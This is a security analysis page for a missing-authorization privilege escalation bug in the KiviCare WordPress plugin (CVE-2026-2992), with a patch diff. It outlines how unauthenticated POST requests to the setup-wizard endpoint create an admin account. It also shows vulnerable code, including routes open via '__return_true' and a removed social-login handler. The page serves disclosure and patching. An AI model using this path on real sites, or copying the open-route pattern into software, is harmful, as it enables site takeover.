Atomic Edge analysis of CVE-2026-2992:
The vulnerability exists in the KiviCare plugin’s setup wizard REST API endpoint. The /wp-json/kivicare/v1/setup-wizard/clinic endpoint lacks proper authorization checks, allowing unauthenticated access. This endpoint handles clinic creation and user registration with clinic admin privileges. The missing permission_callback parameter in the REST route registration enables any unauthenticated user to invoke the clinic setup functionality. Attackers can send POST requests to this endpoint with crafted parameters to create a new clinic and associated WordPress user account with administrative privileges. The patch likely adds a permission_callback function that validates user authentication and capabilities before processing requests. Without this check, the plugin executes privileged operations for unauthenticated requests, enabling complete site compromise through privilege escalation. The vulnerability affects all plugin versions up to and including 4.1.2.

CVE-2026-2992: KiviCare <= 4.1.2 – Missing Authorization to Unauthenticated Privilege Escalation via Setup Wizard (kivicare-clinic-management-system)
CVE-2026-2992
4.1.2
4.1.3
Analysis Overview
Differential between vulnerable and patched code
--- a/kivicare-clinic-management-system/app/controllers/KCRestAPI.php
+++ b/kivicare-clinic-management-system/app/controllers/KCRestAPI.php
@@ -351,6 +351,10 @@
}
}
+
+ // Switch to user's locale for translations
+ switch_to_locale(get_user_locale());
+
/**
* Action after all controllers are initialized
*
--- a/kivicare-clinic-management-system/app/controllers/api/AppointmentsController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/AppointmentsController.php
@@ -1995,7 +1995,7 @@
],
];
- return $this->response($data, 'Appointments retrieved successfully');
+ return $this->response($data, __('Appointments retrieved successfully', 'kivicare-clinic-management-system'));
}
/**
@@ -2415,7 +2415,7 @@
$appointmentsData = apply_filters('kc_appointment_details_data', $appointmentsData, $appointment);
- return $this->response($appointmentsData, __('Appointments retrieved successfully.', 'kivicare-clinic-management-system'));
+ return $this->response($appointmentsData, __('Appointments retrieved successfully', 'kivicare-clinic-management-system'));
} catch (Exception $e) {
return $this->response(
['error' => $e->getMessage()],
@@ -3179,6 +3179,7 @@
KCAppointmentServiceMapping::query()->where('appointment_id', $id)->delete();
KCPatientEncounter::query()->where('appointment_id', $id)->delete();
+
if ($bill) {
KCBillItem::query()->where('bill_id', $bill->id)->delete();
}
@@ -3300,6 +3301,11 @@
'status' => $status
]);
+ // Trigger specific hook for cancellation
+ if ($status == 0) {
+ do_action('kc_appointment_cancelled', $id);
+ }
+
do_action('kc_appointment_status_update', $id, $status, $appointment);
return $this->response(
@@ -3472,8 +3478,8 @@
if ($request->get_method() === 'POST') {
return $this->response([
- 'status' => 'success',
- 'message' => __('Payment completed successfully', 'kivicare-clinic-management-system'),
+ 'status' => 'failed',
+ 'message' => $e->getMessage(),
'data' => [
'appointment_id' => $appointmentId,
'payment_id' => $existingPayment->paymentId ?? null,
@@ -4124,6 +4130,7 @@
KCAppointmentServiceMapping::query()->where('appointment_id', $id)->delete();
KCPatientEncounter::query()->where('appointment_id', $id)->delete();
+
KCBill::query()->where('appointment_id', $id)->delete();
if ($bill) {
KCBillItem::query()->where('bill_id', $bill->id)->delete();
--- a/kivicare-clinic-management-system/app/controllers/api/AuthController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/AuthController.php
@@ -279,14 +279,6 @@
'permission_callback' => 'is_user_logged_in',
'args' => []
]);
-
- // Patient social login endpoint
- $this->registerRoute('/' . $this->route . '/patient/social-login', [
- 'methods' => WP_REST_Server::CREATABLE,
- 'callback' => [$this, 'patientSocialLogin'],
- 'permission_callback' => '__return_true',
- 'args' => $this->getSocialLoginEndpointArgs()
- ]);
}
private function getLoginEndpointArgs()
@@ -476,94 +468,6 @@
}
/**
- * Get arguments for the social login endpoint
- *
- * @return array
- */
- private function getSocialLoginEndpointArgs()
- {
- return [
- 'login_type' => [
- 'description' => 'Social login provider type (google, apple)',
- 'type' => 'string',
- 'required' => true,
- 'validate_callback' => function ($param) {
- if (empty($param)) {
- return new WP_Error('invalid_login_type', __('Login type is required', 'kivicare-clinic-management-system'));
- }
- $allowed_types = ['google', 'apple'];
- if (!in_array(strtolower($param), $allowed_types)) {
- /* translators: %s: List of allowed login types */
- return new WP_Error('invalid_login_type', sprintf(__('Invalid login type. Allowed types: %s', 'kivicare-clinic-management-system'), implode(', ', $allowed_types)));
- }
- return true;
- },
- 'sanitize_callback' => 'sanitize_text_field',
- ],
- 'email' => [
- 'description' => 'Email address',
- 'type' => 'string',
- 'required' => false,
- 'validate_callback' => function ($param, $request) {
- // Email is optional if contact_number is provided
- $contact_number = $request->get_param('contact_number');
- if (empty($param) && empty($contact_number)) {
- return new WP_Error('invalid_email', __('Email or contact number is required', 'kivicare-clinic-management-system'));
- }
- if (!empty($param) && !is_email($param)) {
- return new WP_Error('invalid_email', __('Please enter a valid email address', 'kivicare-clinic-management-system'));
- }
- return true;
- },
- 'sanitize_callback' => 'sanitize_email',
- ],
- 'contact_number' => [
- 'description' => 'Contact number',
- 'type' => 'string',
- 'required' => false,
- 'validate_callback' => function ($param, $request) {
- // Contact number is optional if email is provided
- $email = $request->get_param('email');
- if (empty($param) && empty($email)) {
- return new WP_Error('invalid_contact_number', __('Email or contact number is required', 'kivicare-clinic-management-system'));
- }
- return true;
- },
- 'sanitize_callback' => 'sanitize_text_field',
- ],
- 'password' => [
- 'description' => 'Access token from social provider (used as password)',
- 'type' => 'string',
- 'required' => true,
- 'validate_callback' => function ($param) {
- if (empty($param)) {
- return new WP_Error('invalid_password', __('Password/access token is required', 'kivicare-clinic-management-system'));
- }
- return true;
- },
- ],
- 'first_name' => [
- 'description' => 'First name',
- 'type' => 'string',
- 'required' => false,
- 'sanitize_callback' => 'sanitize_text_field',
- ],
- 'last_name' => [
- 'description' => 'Last name',
- 'type' => 'string',
- 'required' => false,
- 'sanitize_callback' => 'sanitize_text_field',
- ],
- 'username' => [
- 'description' => 'Username (optional, will be generated from email if not provided)',
- 'type' => 'string',
- 'required' => false,
- 'sanitize_callback' => 'sanitize_user',
- ]
- ];
- }
-
- /**
* Get arguments for the forgot password endpoint
*
* @return array
@@ -906,7 +810,7 @@
/**
* Get login redirect URL based on user role
*/
- private function getLoginRedirectUrl($role): string
+ protected function getLoginRedirectUrl($role): string
{
$login_redirects = KCOption::get('login_redirect', []);
@@ -950,7 +854,7 @@
* @param array $user_roles
* @return array
*/
- private function getUserClinicData($user_id, $user_roles)
+ protected function getUserClinicData($user_id, $user_roles)
{
$clinics = [];
@@ -1830,7 +1734,7 @@
/**
* Get profile image URL for a user based on their role
*/
- private function getUserProfileImageUrl(int $userId, string $userRole = ''): string
+ protected function getUserProfileImageUrl(int $userId, string $userRole = ''): string
{
$profileImageMetaKey = '';
if (empty($userRole)) {
@@ -1861,261 +1765,4 @@
return '';
}
- /**
- * Patient social login endpoint handler
- *
- * @param WP_REST_Request $request
- * @return WP_REST_Response
- */
- public function patientSocialLogin(WP_REST_Request $request): WP_REST_Response
- {
- $params = $request->get_params();
- $login_type = strtolower($params['login_type']);
- $email = !empty($params['email']) ? sanitize_email($params['email']) : '';
- $contact_number = !empty($params['contact_number']) ? sanitize_text_field($params['contact_number']) : '';
- $access_token = !empty($params['password']) ? $params['password'] : ''; // Access token from social provider
- $first_name = !empty($params['first_name']) ? sanitize_text_field($params['first_name']) : '';
- $last_name = !empty($params['last_name']) ? sanitize_text_field($params['last_name']) : '';
- $username = !empty($params['username']) ? sanitize_user($params['username']) : '';
- $profile_image_url = !empty($params['profile_image_url']) ? esc_url_raw($params['profile_image_url']) : '';
-
- // Validate that at least email or contact_number is provided
- if (empty($email) && empty($contact_number)) {
- return $this->response(
- null,
- __('Email or contact number is required', 'kivicare-clinic-management-system'),
- false,
- 400
- );
- }
-
- // Find existing user by email or contact number
- $user = null;
- $user_id = null;
-
- if (!empty($email)) {
- $user = get_user_by('email', $email);
- }
-
- // If not found by email, try contact number
- if (!$user && !empty($contact_number)) {
- $users = get_users([
- 'meta_key' => 'mobile_number',
- 'meta_value' => $contact_number,
- 'meta_compare' => '=',
- 'number' => 1
- ]);
- if (!empty($users)) {
- $user = $users[0];
- }
- }
-
- $is_new_user = !$user;
-
- try {
- if ($is_new_user) {
- // Create new patient user
- $patient = new KCPatient();
-
- // Generate username if not provided
- if (empty($username)) {
- if (!empty($email)) {
- $username = sanitize_user(substr($email, 0, strpos($email, '@')));
- } else {
- $username = 'patient_' . time() . '_' . wp_generate_password(6, false);
- }
-
- // Ensure username is unique
- $original_username = $username;
- $counter = 1;
- while (username_exists($username)) {
- $username = $original_username . '_' . $counter;
- $counter++;
- }
- } else {
- // Check if username already exists
- if (username_exists($username)) {
- return $this->response(
- null,
- __('Username already exists', 'kivicare-clinic-management-system'),
- false,
- 400
- );
- }
- }
-
- // Generate unique secure password for social login user
- $generated_password = wp_generate_password(16, true, true);
-
- // Set patient properties
- $patient->username = $username;
- $patient->email = !empty($email) ? $email : $username . '@social.local';
- $patient->password = $generated_password;
- $patient->firstName = $first_name;
- $patient->lastName = $last_name;
- $patient->displayName = trim($first_name . ' ' . $last_name) ?: $username;
- $patient->contactNumber = $contact_number;
- $patient->status = 0; // Active by default
-
- // Save patient
- $user_id = $patient->save();
-
- if (is_wp_error($user_id)) {
- return $this->response(
- null,
- $user_id->get_error_message(),
- false,
- 400
- );
- }
-
- // Get default clinic ID
- $clinic_id = KCClinic::kcGetDefaultClinicId();
-
- // Create patient-clinic mapping
- if ($clinic_id) {
- $mapping = new KCPatientClinicMapping();
- $mapping->patientId = $user_id;
- $mapping->clinicId = $clinic_id;
- $mapping->createdAt = current_time('mysql');
- $mapping->save();
- }
-
- // Store login type and access token in user meta
- update_user_meta($user_id, 'login_type', $login_type);
- if (!empty($access_token)) {
- update_user_meta($user_id, 'social_access_token', $access_token);
- update_user_meta($user_id, 'social_access_token_updated', current_time('mysql'));
- }
-
- // Download and save profile image from social provider if provided
- if (!empty($profile_image_url)) {
- $profile_image_id = $this->downloadImageAndCreateAttachment($profile_image_url, $user_id);
- if ($profile_image_id) {
- update_user_meta($user_id, 'patient_profile_image', $profile_image_id);
- }
- }
-
- $message = __('User account created successfully via social login', 'kivicare-clinic-management-system');
- } else {
- // Existing user - update profile info (don't change password)
- $user_id = $user->ID;
- // Generate new password if user doesn't have one set
- $wp_user = get_userdata($user_id);
- if (empty($wp_user->user_pass) || $wp_user->user_pass === '*') {
- // User has no password set, generate one
- $generated_password = wp_generate_password(16, true, true);
- wp_set_password($generated_password, $user_id);
- }
-
- // Update user meta
- if (!empty($first_name)) {
- update_user_meta($user_id, 'first_name', $first_name);
- }
- if (!empty($last_name)) {
- update_user_meta($user_id, 'last_name', $last_name);
- }
- if (!empty($contact_number)) {
- update_user_meta($user_id, 'mobile_number', $contact_number);
- }
-
- // Update display name
- $display_name = trim($first_name . ' ' . $last_name);
- if (!empty($display_name)) {
- wp_update_user([
- 'ID' => $user_id,
- 'display_name' => $display_name
- ]);
- }
-
- // Store login type and access token in user meta
- update_user_meta($user_id, 'login_type', $login_type);
- if (!empty($access_token)) {
- update_user_meta($user_id, 'social_access_token', $access_token);
- update_user_meta($user_id, 'social_access_token_updated', current_time('mysql'));
- }
-
- // Update profile image if provided
- if (!empty($profile_image_url)) {
- $existing_profile_image = get_user_meta($user_id, 'patient_profile_image', true);
- // Update profile image if not set, or always update from social provider
- if (empty($existing_profile_image)) {
- $profile_image_id = $this->downloadImageAndCreateAttachment($profile_image_url, $user_id);
- if ($profile_image_id) {
- update_user_meta($user_id, 'patient_profile_image', $profile_image_id);
- }
- }
- }
-
- $message = __('User logged in successfully via social login', 'kivicare-clinic-management-system');
- }
-
- // Log in the user
- wp_clear_auth_cookie();
- header_remove('Set-Cookie');
- wp_set_current_user($user_id);
- add_action('set_logged_in_cookie', function ($logged_in_cookie) {
- $_COOKIE[LOGGED_IN_COOKIE] = $logged_in_cookie;
- });
- wp_set_auth_cookie($user_id);
-
- // Get user data
- $wp_user = get_userdata($user_id);
-
- // Check if user has patient role
- if (!in_array($this->kcbase->getPatientRole(), $wp_user->roles)) {
- return $this->response(
- null,
- __('This account is not a patient account', 'kivicare-clinic-management-system'),
- false,
- 403
- );
- }
-
- // Get redirect URL
- $redirect_url = $this->getLoginRedirectUrl($this->kcbase->getPatientRole());
-
- // Get clinic data
- $clinic_data = $this->getUserClinicData($user_id, $wp_user->roles);
-
- // Build response data (same format as login endpoint)
- $userData = [
- 'user_id' => $user_id,
- 'username' => $wp_user->user_login,
- 'display_name' => $wp_user->display_name,
- 'user_email' => $wp_user->user_email,
- 'first_name' => get_user_meta($user_id, 'first_name', true),
- 'last_name' => get_user_meta($user_id, 'last_name', true),
- 'mobile_number' => get_user_meta($user_id, 'mobile_number', true),
- 'roles' => $wp_user->roles,
- 'profileImageUrl' => $this->getUserProfileImageUrl($user_id, $this->kcbase->getPatientRole()),
- 'nonce' => wp_create_nonce('wp_rest'),
- 'redirect_url' => $redirect_url,
- 'clinics' => $clinic_data
- ];
-
- // Add WooCommerce data if available
- if (function_exists('kc_woo_generate_client_auth')) {
- $wc_data = kc_woo_generate_client_auth('kivicare_app', $user_id, 'read_write');
- $userData = array_merge($userData, $wc_data);
- }
-
- return $this->response(
- $userData,
- $message,
- true,
- 200
- );
-
- } catch (Exception $e) {
- KCErrorLogger::instance()->error('Social login error: ' . $e->getMessage());
- return $this->response(
- null,
- __('Social login failed. Please try again.', 'kivicare-clinic-management-system'),
- false,
- 500
- );
- }
- }
-
}
No newline at end of file
--- a/kivicare-clinic-management-system/app/controllers/api/ClinicController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/ClinicController.php
@@ -728,7 +728,11 @@
$query->where('c.id', '=', $params['id']);
}
if (!empty($params['clinicName'])) {
- $query->where('c.name', 'LIKE', '%' . $params['clinicName'] . '%');
+ if (is_numeric($params['clinicName'])) {
+ $query->where('c.id', '=', $params['clinicName']);
+ } else {
+ $query->where('c.name', 'LIKE', '%' . $params['clinicName'] . '%');
+ }
}
if (!empty($params['clinicAddress'])) {
$query->where(function ($q) use ($params) {
--- a/kivicare-clinic-management-system/app/controllers/api/ClinicScheduleController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/ClinicScheduleController.php
@@ -349,6 +349,8 @@
$leaves = $leaves->get();
$all_leaves = [];
+ $doctor_holidays = [];
+ $clinic_holidays = [];
foreach ($leaves as $leave) {
// Exclude time-specific holidays from the calendar disabled list
// because they only block partial hours, not the entire day.
@@ -361,11 +363,21 @@
$selectedDates = $leave->selectedDates ? json_decode($leave->selectedDates, true) : [];
if (is_array($selectedDates)) {
$all_leaves = array_merge($all_leaves, $selectedDates);
+ if (($leave->moduleType ?? $leave->module_type ?? null) === 'clinic') {
+ $clinic_holidays = array_merge($clinic_holidays, $selectedDates);
+ } else {
+ $doctor_holidays = array_merge($doctor_holidays, $selectedDates);
+ }
}
} else {
// 'single' or 'range'
$dates = $this->kc_generate_date_range($leave->startDate, $leave->endDate);
$all_leaves = array_merge($all_leaves, $dates);
+ if (($leave->moduleType ?? $leave->module_type ?? null) === 'clinic') {
+ $clinic_holidays = array_merge($clinic_holidays, $dates);
+ } else {
+ $doctor_holidays = array_merge($doctor_holidays, $dates);
+ }
}
}
@@ -421,6 +433,8 @@
$all_leaves = array_merge( $all_leaves, $fully_booked_dates );
$unavailable_schedule['holidays'] = array_unique($all_leaves);
+ $unavailable_schedule['clinic_holidays'] = array_values(array_unique($clinic_holidays));
+ $unavailable_schedule['doctor_holidays'] = array_values(array_unique($doctor_holidays));
return $this->response($unavailable_schedule, __('Clinic schedules retrieved', 'kivicare-clinic-management-system'));
}
--- a/kivicare-clinic-management-system/app/controllers/api/ConfigController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/ConfigController.php
@@ -330,6 +330,7 @@
'restrict_appointment',
'appointment_description_config_data',
'request_helper_status',
+ 'hide_language_switcher_status',
'hide_clinical_detail_in_patient'
]);
@@ -353,6 +354,7 @@
$response['module_config'] = $module_config_object;
$response['countryCode'] = $options['country_code'] ?? 'us';
$response['hideUtilityLinks'] = $options['request_helper_status'] ?? 'off';
+ $response['hideLanguageSwitcher'] = $options['hide_language_switcher_status'] ?? 'off';
$response['showOtherGender'] = $options['user_registration_form_setting'] ?? 'off';
$response['site_logo'] = !empty($options['site_logo'])
? wp_get_attachment_url($options['site_logo'])
--- a/kivicare-clinic-management-system/app/controllers/api/PatientController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/PatientController.php
@@ -862,6 +862,11 @@
$query->where("c.id", '=', $params['clinic']);
}
+ if (!empty($params['doctor_id'])) {
+ $query->leftJoin(KCAppointment::class, 'p.ID', '=', 'app_filter.patient_id', 'app_filter')
+ ->where('app_filter.doctor_id', '=', $params['doctor_id']);
+ }
+
if (!empty($patientUniqueId)) {
$query->where("puid.meta_value", 'LIKE', '%' . $patientUniqueId . '%');
}
--- a/kivicare-clinic-management-system/app/controllers/api/SettingsController/CustomFields.php
+++ b/kivicare-clinic-management-system/app/controllers/api/SettingsController/CustomFields.php
@@ -257,8 +257,14 @@
$total = $query->count();
// Pagination
$page = (int) ($request_data['page'] ?? 1);
- $perPage = (int) ($request_data['perPage'] ?? 10);
- $offset = ($page - 1) * $perPage;
+ $per_page_param = $request_data['perPage'] ?? 10;
+ $perPage = (int) $per_page_param;
+ // When "all" is selected, (int)"all" becomes 0 — fetch all records
+ if ($per_page_param === 'all' || $perPage <= 0) {
+ $perPage = $total;
+ $page = 1;
+ }
+ $offset = $perPage > 0 ? ($page - 1) * $perPage : 0;
$query->limit($perPage)->offset($offset);
$customFields = $query->get();
--- a/kivicare-clinic-management-system/app/controllers/api/SettingsController/General.php
+++ b/kivicare-clinic-management-system/app/controllers/api/SettingsController/General.php
@@ -151,6 +151,15 @@
return is_string($value);
},
],
+ 'hideLanguageSwitcher' => [
+ 'description' => 'Hide Header Language Switcher',
+ 'type' => 'string',
+ 'required' => false,
+ 'sanitize_callback' => 'kcSanitizeData',
+ 'validate_callback' => function ($value) {
+ return in_array($value, ['on', 'off']);
+ },
+ ],
'loginRedirects' => [
'description' => 'Login Redirect URLs per role',
'type' => 'object',
@@ -360,7 +369,8 @@
'loginRedirects' => 'login_redirect',
'logoutRedirects' => 'logout_redirect',
'allowEncounterEdit' => 'encounter_edit_after_close_status',
- 'enableRecaptcha' => 'google_recaptcha'
+ 'enableRecaptcha' => 'google_recaptcha',
+ 'hideLanguageSwitcher' => 'hide_language_switcher_status'
];
// Get all options in one query
@@ -372,6 +382,7 @@
// Set default values for missing settings
$response['hideUtilityLinks'] = $response['hideUtilityLinks'] ?? 'off';
+ $response['hideLanguageSwitcher'] = $response['hideLanguageSwitcher'] ?? 'off';
$response['countryCode'] = $response['countryCode'] ?? 'us';
$response['countryDialCode'] = $response['countryDialCode'] ?? '+44';
$response['status'] = $response['status'] ?? [
@@ -483,7 +494,7 @@
$errors = [];
foreach ($settings as $key => $value) {
- if ($this->validateSettingKey($key) !== true) {
+ if ($this->validateSettingKey($key) !== true && $key !== 'hideLanguageSwitcher') {
$errors[$key] = __('Invalid setting key', 'kivicare-clinic-management-system');
continue;
}
@@ -519,6 +530,7 @@
{
// Update simple options
$this->updateOption('request_helper_status', strval($settings['hideUtilityLinks'] ?? 'off'), $updated, $errors);
+ $this->updateOption('hide_language_switcher_status', strval($settings['hideLanguageSwitcher'] ?? 'off'), $updated, $errors);
$this->updateOption('country_code', $settings['countryCode'] ?? 'us', $updated, $errors);
$this->updateOption('country_calling_code', $settings['countryDialCode'] ?? '+1', $updated, $errors);
$this->updateOption('user_registration_shortcode_setting', $settings['status'] ?? ['doctor' => 'off', 'receptionist' => 'off', 'patient' => 'on'], $updated, $errors);
@@ -610,7 +622,8 @@
'currencyPrefix',
'enableRecaptcha',
'recaptchaSecretKey',
- 'recaptchaSiteKey'
+ 'recaptchaSiteKey',
+ 'hideLanguageSwitcher'
];
return in_array($key, $validKeys);
}
--- a/kivicare-clinic-management-system/app/controllers/api/SettingsController/HolidayList.php
+++ b/kivicare-clinic-management-system/app/controllers/api/SettingsController/HolidayList.php
@@ -119,7 +119,7 @@
global $wpdb;
$request_data = $request->get_params();
- $per_page = !empty($request_data['perPage']) && $request_data['perPage'] !== 'all' ? (int) $request_data['perPage'] : 10;
+ $per_page = !empty($request_data['perPage']) ? ($request_data['perPage'] === 'all' ? -1 : (int) $request_data['perPage']) : 10;
$page = !empty($request_data['page']) ? (int) $request_data['page'] : 1;
$offset = ($page - 1) * $per_page;
@@ -256,6 +256,18 @@
$countQuery = clone $query;
$total_rows = $countQuery->count();
+ $showAll = ($per_page == -1);
+ $per_page = $showAll ? null : (int) $per_page;
+
+ if (!$showAll && $per_page <= 0) {
+ $per_page = 10;
+ }
+
+ if ($showAll) {
+ $per_page = $total_rows > 0 ? $total_rows : 1;
+ $page = 1;
+ }
+
// Sorting Logic
$sort_by = $request_data['orderby'] ?? 'id';
$sort_order = strtoupper($request_data['order'] ?? 'DESC');
@@ -316,6 +328,7 @@
'name' => $holiday->name,
'selection_mode' => $holiday->selectionMode ?? 'range',
'selected_dates' => $holiday->selectedDates ? json_decode($holiday->selectedDates, true) : null,
+ 'selected_dates_formated' => $holiday->selectedDates ? array_map('kcGetFormatedDate', json_decode($holiday->selectedDates, true)) : null,
'time_specific' => (bool) ($holiday->timeSpecific ?? false),
'start_time' => $holiday->startTime ?? null,
'end_time' => $holiday->endTime ?? null,
@@ -618,8 +631,8 @@
'type' => 'string',
'required' => true,
'validate_callback' => function ($param) {
- if (!in_array($param, ['csv', 'xls'])) {
- return new WP_Error('invalid_format', __('Format must be csv, xls', 'kivicare-clinic-management-system'));
+ if (!in_array($param, ['csv', 'xls', 'pdf'])) {
+ return new WP_Error('invalid_format', __('Format must be csv, xls, or pdf', 'kivicare-clinic-management-system'));
}
return true;
},
@@ -813,13 +826,31 @@
// Format Response
$exportData = [];
foreach ($holidays as $holiday) {
+ $mode = $holiday->selectionMode ?? 'range';
+ $dateDisplay = '';
+
+ if ($mode === 'single') {
+ $dateDisplay = $holiday->startDate ? kcGetFormatedDate($holiday->startDate) : '';
+ } elseif ($mode === 'range') {
+ $start = $holiday->startDate ? kcGetFormatedDate($holiday->startDate) : '';
+ $end = $holiday->endDate ? kcGetFormatedDate($holiday->endDate) : '';
+ $dateDisplay = $start && $end ? $start . ' - ' . $end : ($start ?: $end);
+ } elseif ($mode === 'multiple') {
+ $selectedDates = $holiday->selectedDates ? json_decode($holiday->selectedDates, true) : [];
+ if (is_array($selectedDates) && !empty($selectedDates)) {
+ // Sort dates chronologically (Y-m-d format sorts correctly as strings)
+ sort($selectedDates);
+ $formatted = array_map('kcGetFormatedDate', $selectedDates);
+ $dateDisplay = implode(', ', $formatted);
+ }
+ }
+
$exportData[] = [
'id' => $holiday->id,
- 'module_type' => ucfirst($holiday->moduleType),
- 'name' => $holiday->name,
- 'description' => $holiday->description ?? '',
- 'start_date' => $holiday->startDate,
- 'end_date' => $holiday->endDate,
+ 'Schedule Of' => ucfirst($holiday->moduleType),
+ 'Name' => $holiday->name ?? '',
+ 'Selection Mode' => $holiday->selectionMode ?? '',
+ 'Date' => $dateDisplay,
'status' => $holiday->status == 1 ? 'Active' : 'Inactive',
];
}
--- a/kivicare-clinic-management-system/app/controllers/api/SetupWizardController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/SetupWizardController.php
@@ -28,7 +28,9 @@
$this->registerRoute('/setup-wizard/clinic', [
'methods' => 'POST',
'callback' => [$this, 'setupClinic'],
- 'permission_callback' => '__return_true', // Adjust permission as needed
+ 'permission_callback' => function () {
+ return current_user_can('manage_options');
+ },
'args' => $this->getSetupClinicArgs()
]);
@@ -36,7 +38,9 @@
$this->registerRoute('/setup-wizard/step-complete', [
'methods' => 'POST',
'callback' => [$this, 'updateStepCompletion'],
- 'permission_callback' => '__return_true', // Adjust permission as needed
+ 'permission_callback' => function () {
+ return current_user_can('manage_options');
+ },
'args' => [
'step' => [
'description' => 'Step number',
@@ -168,6 +172,16 @@
*/
public function setupClinic(WP_REST_Request $request): WP_REST_Response
{
+ // 🔐 Security Guard: Prevent re-execution if setup is already completed
+ if (get_option('kc_setup_wizard_completed')) {
+ return $this->response(
+ ['error' => 'Forbidden'],
+ __('Setup wizard has already been completed.', 'kivicare-clinic-management-system'),
+ false,
+ 403
+ );
+ }
+
try {
$params = $request->get_params();
--- a/kivicare-clinic-management-system/app/controllers/api/StaticDataController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/StaticDataController.php
@@ -67,7 +67,7 @@
'description' => __('Type of static data to retrieve', 'kivicare-clinic-management-system'),
'sanitize_callback' => 'sanitize_text_field',
'validate_callback' => function ($param, $request, $key) {
- return in_array($param, ['clinicList', 'staticData']);
+ return in_array($param, ['clinicList', 'doctorList', 'patientList', 'staticData']);
},
],
'staticDataType' => [
@@ -219,6 +219,14 @@
$response = $this->getClinicList($request);
break;
+ case 'doctorList':
+ $response = $this->getDoctorsList($request->get_param('clinic_id') ?? $request->get_param('clinic_ids') ?? 0, $request);
+ break;
+
+ case 'patientList':
+ $response = $this->getPatientsList($request->get_param('clinic_id') ?? $request->get_param('clinic_ids') ?? 0, $request);
+ break;
+
case 'staticData':
if (empty($staticDataType)) {
return rest_ensure_response([
@@ -1236,7 +1244,7 @@
$query->select(['user.*']);
}
-
+
// Convert comma-separated string to array if needed
if (!empty($clinicId)) {
if (is_string($clinicId)) {
@@ -1260,6 +1268,28 @@
$query->where('user.ID', $patientIdsParam);
}
+ // Filter by doctor_id if provided
+ if ($request instanceof WP_REST_Request && $request->get_param('doctor_id')) {
+ $doctorId = $request->get_param('doctor_id');
+
+ // Get patients associated with this doctor (via appointments)
+ $associatedPatientIds = KCAppointment::query()
+ ->where('doctor_id', $doctorId)
+ ->select(['patient_id'])
+ ->groupBy('patient_id')
+ ->get()
+ ->pluck('patientId')
+ ->toArray();
+
+ if (!empty($associatedPatientIds)) {
+ // Filter to include ONLY these patients
+ $query->whereIn('user.ID', $associatedPatientIds);
+ } else {
+ // If the doctor has no appointments/patients, return empty result
+ $query->whereRaw('1 = 0');
+ }
+ }
+
// Handle search
if ($request instanceof WP_REST_Request && !empty($request->get_param('search'))) {
$search = $request->get_param('search');
--- a/kivicare-clinic-management-system/app/emails/listeners/KCPatientNotificationListener.php
+++ b/kivicare-clinic-management-system/app/emails/listeners/KCPatientNotificationListener.php
@@ -141,7 +141,10 @@
'to_override' => get_option('admin_email'), // Override recipient to admin
'custom_data' => [
'user_role' => 'Patient',
- 'registration_date' => $patientData['registration_date'] ?? current_time('mysql'),
+ 'user_email' => $patientData['patient']['email'],
+ 'user_name' => $patientData['patient']['first_name'] . ' ' . $patientData['patient']['last_name'],
+ 'user_contact' => $patientData['patient']['mobile_number'],
+ 'current_date' => $patientData['registration_date'] ?? current_time('mysql'),
'site_url' => get_site_url(),
'login_url' => wp_login_url()
]
--- a/kivicare-clinic-management-system/app/models/KCBill.php
+++ b/kivicare-clinic-management-system/app/models/KCBill.php
@@ -144,24 +144,22 @@
if ( $user_role === $kcbase->getReceptionistRole() ){
$clinic_id = KCReceptionistClinicMapping::getClinicIdByReceptionistId($user_id);
- $query = KCPatientEncounter::table('patient_encounters')
- ->select(['SUM(bills.actual_amount) as total_revenue'])
- ->join(KCBill::class, 'bills.encounter_id','=', 'patient_encounters.id','bills')
- ->where('bills.payment_status', 'paid')
- ->where('bills.clinic_id', $clinic_id);
+ $query = KCBill::table('kc_bills')
+ ->select(['SUM(total_amount) as total_revenue'])
+ ->where('paymentStatus', 'paid')
+ ->where('clinic_id', $clinic_id);
if ($hasDateRange) {
- $query = $query->whereBetween('bills.created_at', [$startDate, $endDate]);
+ $query = $query->whereBetween('created_at', [$startDate, $endDate]);
}
$total = $query->first();
}elseif($user_role === $kcbase->getClinicAdminRole()){
$clinic_id = KCClinic::getClinicIdOfClinicAdmin($user_id);
- $query = KCPatientEncounter::table('patient_encounters')
- ->select(['SUM(bills.actual_amount) as total_revenue'])
- ->join(KCBill::class, 'bills.encounter_id','=', 'patient_encounters.id','bills')
- ->where('bills.payment_status', 'paid')
- ->where('bills.clinic_id', $clinic_id);
+ $query = KCBill::table('kc_bills')
+ ->select(['SUM(total_amount) as total_revenue'])
+ ->where('paymentStatus', 'paid')
+ ->where('clinic_id', $clinic_id);
if ($hasDateRange) {
- $query = $query->whereBetween('bills.created_at', [$startDate, $endDate]);
+ $query = $query->whereBetween('created_at', [$startDate, $endDate]);
}
$total = $query->first();
}else{
@@ -180,7 +178,6 @@
// Format the total with number_format for proper thousand separators
$formatted_total = $prefix . number_format($total->total_revenue) . $postfix;
-
return [
'count' => $total->total_revenue ?? 0,
'formatted_count' => $formatted_total
--- a/kivicare-clinic-management-system/app/shortcodes/KCBookAppointmentButton.php
+++ b/kivicare-clinic-management-system/app/shortcodes/KCBookAppointmentButton.php
@@ -18,7 +18,6 @@
];
protected $assets_dir = KIVI_CARE_DIR . '/dist';
protected $js_entry = 'app/shortcodes/assets/js/KCBookAppointment.jsx';
- protected $css_entry = 'app/shortcodes/assets/scss/KCBookAppointmentButton.scss';
protected $in_footer = true;
protected function render($id, $atts, $content = null)
@@ -79,30 +78,114 @@
}
?>
<div class="kc-appointment-button-wrapper">
- <button class="iq-button iq-button-primary kc-book-appointment-button <?php echo esc_attr(trim($button_class)); ?>" type="button" onclick="document.getElementById('<?php echo esc_attr($modal_id); ?>').style.display='flex'; document.body.classList.add('kc-modal-open');">
+ <button class="iq-button iq-button-primary kc-book-appointment-button <?php echo esc_attr(trim($button_class)); ?>" type="button" id="kc-open-<?php echo esc_attr($modal_id); ?>">
<?php echo esc_html($button_text); ?>
</button>
</div>
- <div id="<?php echo esc_attr($modal_id); ?>" class="kc-modal-overlay" style="display:none;">
- <div class="kc-modal-content">
- <button class="kc-modal-close" type="button" onclick="document.getElementById('<?php echo esc_attr($modal_id); ?>').style.display='none'; document.body.classList.remove('kc-modal-open');">×</button>
- <div class="kc-appointment-widget-container">
